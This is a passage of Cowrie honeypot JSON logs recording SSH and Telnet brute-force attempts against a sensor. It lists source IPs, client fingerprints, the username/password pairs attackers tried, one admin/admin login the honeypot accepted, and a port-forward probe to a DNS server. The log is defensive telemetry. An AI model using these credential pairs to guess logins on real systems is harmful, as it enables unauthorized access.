af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:50.981752Z","src_ip":"202.125.94.71","session":"77733adf8168","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456.com","message":"login attempt [root/123456.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:52.064667Z","src_ip":"202.125.94.71","session":"77733adf8168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:53.329255Z","src_ip":"202.125.94.71","session":"77733adf8168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":48973,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3f4194d1296","protocol":"ssh","message":"New connection: 103.86.180.10:48973 (159.203.135.109:22) [session: a3f4194d1296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:56.208175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:56.214854Z","src_ip":"103.86.180.10","session":"a3f4194d1296","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:56.410027Z","src_ip":"103.86.180.10","session":"a3f4194d1296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mailtest","password":"mailtest123","message":"login attempt [mailtest/mailtest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:57.222725Z","src_ip":"103.86.180.10","session":"a3f4194d1296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:58.420594Z","src_ip":"103.86.180.10","session":"a3f4194d1296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.20881199836731,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:08.167674Z","src_ip":"137.184.155.248","session":"dce7ce16bf6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":53346,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c1c1f7b22af","protocol":"telnet","message":"New connection: 137.184.155.248:53346 (10.17.0.5:23) [session: 4c1c1f7b22af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:10.905286Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.218","src_port":21826,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e4d22eaf130","protocol":"ssh","message":"New connection: 172.236.228.218:21826 (10.17.0.5:22) [session: 4e4d22eaf130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:13.310472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:13.329866Z","src_ip":"172.236.228.218","session":"4e4d22eaf130","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:13.407931Z","src_ip":"172.236.228.218","session":"4e4d22eaf130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:13.750304Z","src_ip":"172.236.228.218","session":"4e4d22eaf130","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.218","src_port":21842,"dst_ip":"10.17.0.5","dst_port":22,"session":"37bd61067226","protocol":"ssh","message":"New connection: 172.236.228.218:21842 (10.17.0.5:22) [session: 37bd61067226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:13.801401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:13.963610Z","src_ip":"172.236.228.218","session":"37bd61067226","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:13.966875Z","src_ip":"172.236.228.218","session":"37bd61067226","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:14.516301Z","src_ip":"172.236.228.218","session":"37bd61067226","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.218","src_port":21858,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c009091dd72","protocol":"ssh","message":"New connection: 172.236.228.218:21858 (10.17.0.5:22) [session: 6c009091dd72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:14.530442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:14.566579Z","src_ip":"172.236.228.218","session":"6c009091dd72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:14.646030Z","src_ip":"172.236.228.218","session":"6c009091dd72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:14.870747Z","src_ip":"172.236.228.218","session":"6c009091dd72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":46908,"dst_ip":"10.17.0.5","dst_port":23,"session":"e18947ae7303","protocol":"telnet","message":"New connection: 137.184.155.248:46908 (10.17.0.5:23) [session: e18947ae7303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:19.519470Z"}
{"eventid":"cowrie.session.closed","duration":4.845446348190308,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:24.364674Z","src_ip":"137.184.155.248","session":"e18947ae7303","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.73868227005005,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:31.045780Z","src_ip":"137.184.155.248","session":"b1255120f1ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":46208,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5d16ee0766f","protocol":"ssh","message":"New connection: 186.4.240.226:46208 (10.17.0.5:22) [session: f5d16ee0766f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:37.070249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:37.074903Z","src_ip":"186.4.240.226","session":"f5d16ee0766f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:37.162653Z","src_ip":"186.4.240.226","session":"f5d16ee0766f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptest123","message":"login attempt [ftptest/ftptest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:37.546114Z","src_ip":"186.4.240.226","session":"f5d16ee0766f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:38.638836Z","src_ip":"186.4.240.226","session":"f5d16ee0766f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":36324,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb72dae9ec6e","protocol":"ssh","message":"New connection: 72.253.251.7:36324 (159.203.135.109:22) [session: bb72dae9ec6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:41.320223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:41.324286Z","src_ip":"72.253.251.7","session":"bb72dae9ec6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:41.441384Z","src_ip":"72.253.251.7","session":"bb72dae9ec6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWE123QWE","message":"login attempt [root/QWE123QWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:41.940687Z","src_ip":"72.253.251.7","session":"bb72dae9ec6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":54664,"dst_ip":"10.17.0.5","dst_port":22,"session":"244f90fdf7ed","protocol":"ssh","message":"New connection: 41.86.34.139:54664 (10.17.0.5:22) [session: 244f90fdf7ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:42.655829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:42.660009Z","src_ip":"41.86.34.139","session":"244f90fdf7ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:42.866572Z","src_ip":"41.86.34.139","session":"244f90fdf7ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:43.059564Z","src_ip":"72.253.251.7","session":"bb72dae9ec6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdfg","message":"login attempt [ubuntu/asdfg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:43.728914Z","src_ip":"41.86.34.139","session":"244f90fdf7ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:44.938926Z","src_ip":"41.86.34.139","session":"244f90fdf7ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":37412,"dst_ip":"10.17.0.5","dst_port":22,"session":"86e6ac85e250","protocol":"ssh","message":"New connection: 87.251.64.176:37412 (10.17.0.5:22) [session: 86e6ac85e250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:50.127137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:50.131304Z","src_ip":"87.251.64.176","session":"86e6ac85e250","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:50.226507Z","src_ip":"87.251.64.176","session":"86e6ac85e250","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:50.516009Z","src_ip":"87.251.64.176","session":"86e6ac85e250","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:50.614145Z","session":"86e6ac85e250","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:50.710682Z","src_ip":"87.251.64.176","session":"86e6ac85e250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:50.809152Z","src_ip":"87.251.64.176","session":"86e6ac85e250","protocol":"ssh"}
